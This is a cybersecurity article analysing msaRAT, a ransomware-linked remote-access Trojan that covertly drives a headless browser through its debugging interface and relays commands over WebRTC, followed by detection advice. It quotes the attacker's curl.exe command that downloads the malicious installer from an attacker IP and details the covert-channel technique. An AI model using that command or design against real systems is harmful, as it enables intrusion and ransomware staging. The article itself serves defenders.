How msaRAT turned a trusted browser into a covert command channel for ransomware operators

Imagine an incident responder examining a Windows machine during the uneasy hours before a ransomware outbreak.

An unfamiliar dynamic-link library has been loaded into memory. Its behavior suggests a remote-access Trojan—a RAT—capable of receiving instructions and returning results to an operator somewhere outside the organization. Yet the usual evidence seems to be missing. The suspicious process has no obvious external connection. It is not repeatedly calling an unfamiliar domain. It is not maintaining an encrypted socket to an attacker-owned server. According to the network telemetry, the malware barely leaves the machine at all.

Chrome, however, is running.

No employee is using it. No browser window is visible. The browser is operating headlessly, with a debugging interface enabled. A local process is sending it instructions over a WebSocket connection. Chrome is contacting cloud infrastructure, negotiating a WebRTC session and carrying encrypted data through a communications relay.

The RAT is controlling the computer. Chrome is speaking for it.

That is the central trick behind msaRAT, a Rust-based remote-access Trojan analyzed by Cisco Talos and attributed by its researchers to the Chaos ransomware group. Instead of opening its own conventional command-and-control connection, msaRAT launches Chrome or Microsoft Edge and controls the browser through the Chrome DevTools Protocol. Signalling passes through Cloudflare Workers; the eventual command channel travels through a WebRTC DataChannel relayed by Twilio TURN infrastructure. From the network’s perspective, the external traffic originates from a legitimate browser—not from the malware itself.

This is not invisibility, and it is not magic. It is something more instructive: a deliberate rearrangement of where malicious activity appears. The malware does not eliminate evidence. It persuades defenders to look for that evidence in the wrong process, the wrong protocol and the wrong part of the network stack.

The old idea of a RAT

The phrase “remote-access Trojan” has always possessed a certain dark clarity. A virus spreads. A worm crawls from machine to machine. Ransomware destroys availability. A RAT, by contrast, allows somebody else to sit at your computer without being physically present.

The capabilities vary, but the essential idea is illicit administration. A RAT may provide an attacker with an interactive shell, file-transfer functions, system information, persistence mechanisms and the ability to install additional software. More elaborate versions may capture screenshots, manipulate processes, route traffic or operate as gateways into the rest of a network.

The word Trojan describes how such access is concealed or delivered. The software may masquerade as an update, arrive inside another installer or be deployed after an attacker has already gained a foothold. The word remote describes the real danger: the victim’s machine has effectively acquired another administrator, one who does not appear in the personnel directory and does not follow the change-control process.

For decades, defenders have relied on a natural assumption about this arrangement. If the remote operator is sending commands, the malicious program must communicate with the operator. The malware process must open a connection, resolve a domain or send packets somewhere. Analysts can then ask which process made the connection, where it went, how often it returned and whether its traffic resembles known malicious activity.

Attackers have spent years weakening that assumption. Malware has hidden command traffic in HTTPS, DNS, email, cloud storage, social networks, collaboration systems and legitimate remote-management applications. msaRAT takes the logic one step further. Rather than making malware traffic merely resemble browser traffic, it delegates the traffic to an actual browser.

The distinction is important. A counterfeit passport can be detected as counterfeit. msaRAT does not need to forge Chrome’s passport. It puts Chrome in the driver’s seat and whispers directions from behind it.

Ransomware is usually the final act

To understand why a ransomware operator would deploy a RAT, it helps to discard the popular image of ransomware as a malicious file that suddenly appears and encrypts everything.

The encryption event is usually the visible conclusion of a longer intrusion. Before files become unreadable, the attacker may have spent hours or days stealing credentials, identifying domain controllers, mapping network shares, locating backups, examining security tools, exfiltrating information and arranging access to the systems that matter most. The ransomware executable is often less an invading army than a demolition charge placed after the building has already been occupied.

Talos says the Chaos ransomware-as-a-service operation emerged in early 2025 and has pursued large organizations using double extortion: stealing information before encrypting systems, then threatening disclosure as well as operational disruption. In earlier Chaos incidents, Talos observed spam flooding followed by voice-based social engineering, including impersonation of technical-support personnel and the use of Microsoft Quick Assist. Once inside, the operators used legitimate remote monitoring and management tools, file-synchronization software, SSH tunnelling, Windows administration utilities and common discovery commands. Talos assessed with moderate confidence that the operation may involve former members of the BlackSuit or Royal ransomware ecosystem, although that lineage remains an analytical judgment rather than a proven organizational history.

msaRAT appears within this pre-encryption phase. Talos observed the attacker downloading an installer named update_ms.msi into C:\ProgramData after gaining access but before deploying ransomware. The file was retrieved with curl.exe from an attacker-controlled address using plain HTTP over destination port 443. Its metadata was configured to resemble a Windows update, and its installer logic loaded an embedded DLL—the RAT itself—directly into memory. Talos also found evidence of a ransom note after the malware was downloaded.

That sequencing tells us what the RAT is for. It is not the weapon that encrypts the environment. It is an operator’s console for the period before encryption—the period when the attacker is still learning, moving and deciding what to destroy.

Port 443 is not the same thing as HTTPS

The initial download contains a useful lesson even before the browser enters the story.

Port 443 is conventionally associated with encrypted HTTPS traffic. Many firewall rules, dashboards and informal conversations therefore treat “traffic on 443” as shorthand for “secure web traffic.” But a port number is not a protocol guarantee. An application can send plain HTTP to port 443. It can send SSH there. It can send a proprietary binary protocol. The destination port is simply one field in the connection.

Talos found that the Chaos operator used a command equivalent to:

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\ProgramData\update_ms.msi

The http:// prefix matters. This was not an encrypted HTTPS transfer despite using the familiar HTTPS port. A firewall that permitted destination port 443 without checking the actual protocol could allow it under the mistaken assumption that the traffic was ordinary encrypted web activity.

This is an old weakness expressed in a particularly clean form: defenders often substitute naming conventions for verification. Port 443 becomes “HTTPS.” Chrome becomes “user browsing.” Cloudflare becomes “trusted infrastructure.” WebRTC becomes “video conferencing.”

msaRAT works by stacking those assumptions until the activity appears less suspicious than it is.

Waking the browser without showing a window

After the malicious DLL starts, msaRAT searches the victim system for Chrome or Edge. It checks expected installation paths and, if necessary, searches the Windows Registry for Chrome. If it cannot locate a supported browser, the browser-mediated command channel does not proceed.

When a browser is found, the RAT launches it in headless mode. This is a legitimate browser capability intended for automation, testing and server-side tasks. A headless browser loads pages, runs JavaScript and uses the network without displaying the familiar browser interface. Google’s own documentation describes headless Chrome as the browser running in an unattended environment without visible user-interface windows.

msaRAT also enables Chrome’s remote-debugging interface. Chrome DevTools Protocol, usually abbreviated CDP, is the machinery that allows development tools and automation frameworks to inspect and control the browser. Through CDP, software can create tabs, navigate pages, execute JavaScript, monitor network requests, alter page behavior, collect data and interact with the browser’s internal state. Chrome’s documentation explicitly supports launching a headless browser with a remote-debugging port and connecting to it through a WebSocket address.

These features are not vulnerabilities. They are powerful administrative and development interfaces being used exactly as designed—by somebody whose objective is malicious.

Talos found that msaRAT queried the local debugging service’s /json/list/ endpoint to obtain information about browser targets and their webSocketDebuggerUrl values. It then opened a WebSocket session to the browser, created a new tab, activated the necessary page and runtime functions, and issued CDP instructions. The RAT used Page.setBypassCSP to bypass Content Security Policy within the controlled page, registered callback bindings with names including msaOpen, msaClose, msaError and msaMessage, and injected JavaScript using the Runtime.evaluate function. Those embedded binding names gave Talos the malware’s name.

The browser is now more than a browser. It has become a programmable network engine under the RAT’s direction.

From video calls to command-and-control

The next stage relies on WebRTC, a collection of browser technologies most people encounter through video meetings, voice calls, screen sharing and real-time collaboration.

WebRTC is not limited to audio and video. The World Wide Web Consortium’s specification includes the ability to send generic application data between browsers or other devices. It uses technologies such as ICE, STUN and TURN to find a workable network path through firewalls and network address translation. A WebRTC DataChannel can therefore carry arbitrary binary application data rather than a camera or microphone stream.

To create a WebRTC connection, the two endpoints must exchange information about how they can reach one another. That introductory exchange is commonly called signalling. WebRTC does not mandate one universal signalling service; applications arrange their own method of exchanging offers, answers and network candidates.

In msaRAT’s design, JavaScript running inside the headless browser contacts a Cloudflare Workers endpoint to obtain configuration information and exchange the WebRTC session description. The response supplies a Google STUN service and Twilio TURN infrastructure. STUN helps a host learn how it appears from outside its local network. TURN provides a relay when the two endpoints cannot—or should not—connect directly.

TURN was designed for legitimate connectivity problems. Systems behind restrictive firewalls or incompatible network-address-translation devices may be unable to establish a direct path. A TURN server acts as an intermediate relay, receiving traffic from one endpoint and forwarding it to the other. The Internet Engineering Task Force describes TURN precisely in those terms: a client obtains a relay address and uses an intermediate server to exchange packets with its peer.

msaRAT’s operators turn this useful intermediary into a shield.

Talos found that the attacker’s WebRTC answer deliberately omitted normal connection candidates and used an unusable direct address, preventing a peer-to-peer path and forcing the communication through Twilio’s TURN service. The victim therefore sees traffic involving legitimate relay infrastructure rather than a direct connection to the attacker’s true server address. Cloudflare Workers handles the initial signalling, then drops out after the WebRTC connection is established. The ongoing command traffic travels over the DataChannel through the TURN relay.

This architecture separates the attacker’s infrastructure into layers. Cloudflare helps introduce the participants. Twilio carries the conversation. The attacker’s actual address remains behind the relay. Blocking the Cloudflare endpoint after the connection has formed may not terminate an established channel, and blocking broad Cloudflare or Twilio infrastructure could disrupt legitimate organizational services.

The operators are not merely hiding a server. They are distributing the meaning of the connection across several trusted systems.

The RAT that never goes outside

Talos summarizes msaRAT with a striking technical observation: the malware itself never directly communicates with the external network. Its own connections remain on the loopback interface, 127.0.0.1, where it talks to the locally running browser. Chrome or Edge makes the external requests.

This can disrupt a common defensive workflow. Suppose an endpoint product reports that an unknown DLL has been loaded. The analyst searches network telemetry for connections owned by that process and finds none. Meanwhile, the browser’s connections appear among thousands of ordinary web sessions.

The malicious behavior has not disappeared. It has been divided:

The RAT handles commands, encryption and interaction with the operating system.

The browser handles JavaScript, Cloudflare signalling and the WebRTC transport.

The TURN service relays the traffic.

The command server remains behind the relay.

Each component considered in isolation may appear less alarming than the whole.

The WebRTC channel also arrives with built-in encryption. WebRTC data channels are required to use Datagram Transport Layer Security, or DTLS. msaRAT adds another layer by encrypting its command data with a ChaCha-Poly1305-based construction before handing it to the browser, deriving keys through an Elliptic Curve Diffie-Hellman exchange. The result is application-level encryption inside the encryption already supplied by the WebRTC transport.

Deep packet inspection alone is therefore unlikely to reveal shell commands or command output. Even an organization capable of examining the outer transport may still encounter separately encrypted payload data.

Again, this does not make the intrusion undetectable. It makes context more valuable than content.

The browser is not infected in the traditional sense

It is tempting to say that msaRAT “infects Chrome” or lives inside the browser. That language is evocative, but it can create the wrong technical picture.

Talos describes malware that launches and controls a browser process. It does not require an unknown vulnerability in Chrome. It does not need to modify the browser’s source code or permanently implant itself in a browser extension. Instead, it starts a legitimate browser with command-line options that expose a legitimate automation interface, then uses that interface to execute JavaScript and create a network channel.

This is arguably more troubling than an ordinary browser exploit because it does not depend on a software flaw that Google or Microsoft can simply patch. The dangerous capability is the combination of local code execution and an enormously capable program already installed on the machine.

Chrome is doing what it was instructed to do.

That places the event within a larger movement in modern intrusion tradecraft. Attackers increasingly use legitimate remote-monitoring agents, cloud-storage clients, scripting engines, source-control tools, backup programs, identity services and web browsers as components of their operations. The objective is not always to evade trusted software. It is to inherit the permissions, network access and reputation that trusted software already possesses.

A browser is particularly attractive because it is designed to reach the internet, execute complex code, maintain encrypted connections, store identity material, communicate with cloud services and traverse difficult network environments. Organizations that would immediately investigate an unknown executable making repeated outbound connections may barely notice a browser doing the same thing.

What defenders can still see

msaRAT changes the evidence, but it does not erase it.

A browser process must be launched. Command-line arguments must enable headless operation and remote debugging. A local service must expose CDP targets. The RAT must query /json/list/, open a WebSocket to the debugging endpoint and inject commands. The browser must contact the Cloudflare signalling service, perform STUN and TURN operations and create a WebRTC DataChannel. The initial installer must be downloaded and executed. A malicious DLL must be loaded. Commands received from the operator must eventually become operating-system activity.

These are observable events, especially when endpoint and network telemetry are correlated rather than examined separately.

The strongest detections are likely to be contextual. Headless Chrome may be completely normal on a web-testing worker but highly unusual on a file server. A remote-debugging port may be expected in a development laboratory but not on a domain administrator’s workstation at 3 a.m. WebRTC traffic may be routine on employee laptops during business hours but anomalous from backup servers, hypervisors or industrial-management systems.

Defenders should look for combinations such as:

  • Chrome or Edge launched with headless and remote-debugging flags by an unusual parent process.
  • Browser processes running without an associated interactive user or visible application session.
  • Local requests to CDP endpoints, including /json/list/, followed by WebSocket debugging sessions.
  • WebRTC, STUN or TURN traffic from servers and administrative systems that have no documented need for real-time browser communications.
  • curl.exe retrieving an MSI from an http:// address on destination port 443.
  • Unexpected installers or DLL activity in C:\ProgramData, particularly files resembling update_ms.msi.
  • Browser launches occurring near account discovery, network enumeration, credential access, backup interference or ransomware staging.
  • Plain HTTP identified on ports that policy assumes carry TLS.
  • A browser process contacting cloud-development and communications infrastructure shortly after being spawned by an unsigned or unknown binary.

Talos published ClamAV and Snort coverage as well as a separate collection of indicators. Those indicators are useful, but the behavioral chain is more durable than any single IP address, filename or Cloudflare endpoint. Infrastructure can be replaced. The need to launch a browser, expose CDP and establish the covert channel is harder to remove without redesigning the malware.

A browser on a server should have a reason

The most direct defensive question is not “How do we block WebRTC everywhere?” It is “Why is this machine running a browser at all?”

Browsers are often installed broadly for convenience. Administrators use them to download tools, access consoles or read documentation directly from servers. That convenience creates another rich execution environment on systems that may already hold privileged credentials or administrative authority.

Organizations should inventory where Chrome and Edge are permitted, especially on domain controllers, backup infrastructure, management servers, hypervisors, database systems and operational-technology jump hosts. Removing an unnecessary browser eliminates the specific transport msaRAT requires. Where browsers are operationally necessary, security teams should establish expected process parents, command lines, user contexts and network destinations.

Remote debugging deserves particular scrutiny. Google’s documentation makes clear how much control a debugging connection provides: it can inspect and manipulate pages, execute JavaScript and interact with browser state. Newer Chrome features increasingly place user confirmation and visible indicators around some debugging workflows, reflecting the sensitivity of handing automation control to another process.

Application-control policies can restrict which programs may start browsers or installers. Endpoint telemetry should retain full process ancestry and command-line data. Network controls should validate protocols rather than granting trust solely by destination port. Egress policy should consider whether a given machine and process have a legitimate reason to use WebRTC or public TURN services.

None of these controls is sufficient alone. Together, they make the borrowed browser identity much less convincing.

The real lesson is about trust

msaRAT is an intriguing piece of malware because its technique produces an almost cinematic contradiction: a remote-access Trojan that appears not to access the network remotely.

But its broader lesson is sober and practical.

Security products and human analysts often begin with categories. Chrome is a browser. Twilio is a communications provider. Cloudflare is internet infrastructure. Port 443 is web traffic. WebRTC is conferencing technology. A signed Microsoft installer mechanism is administrative plumbing.

Attackers do not have to respect those categories.

To msaRAT, Chrome is a programmable network stack. CDP is a local command interface. Cloudflare Workers is a signalling broker. TURN is an anonymity-preserving relay. WebRTC is an encrypted binary tunnel. Port 443 is simply an opening through the firewall. An MSI package is a loader. Every legitimate capability can acquire another meaning when placed under hostile control.

That is why the future of detection depends less on asking whether a program is trusted and more on asking whether its behavior makes sense on this machine, for this user, at this time.

Chrome reaching Twilio is not inherently suspicious.

Chrome reaching Twilio from a user’s laptop during a meeting may be entirely expected.

Headless Chrome, launched by an unfamiliar in-memory DLL on a server, exposing a remote-debugging interface, negotiating a TURN-relayed WebRTC DataChannel after an MSI was downloaded through plain HTTP on port 443—that is a different story.

The RAT did not vanish.

It simply learned that the easiest way through the front door was to let a trusted application carry it.

Jonathan Lockhart is a cybersecurity researcher and investigative journalist at bordercybergroup.com.

If you would like to support our work — useful, well-researched, ad-free cybersecurity intelligence — subscribe, comment, or buy us a coffee! Thanks.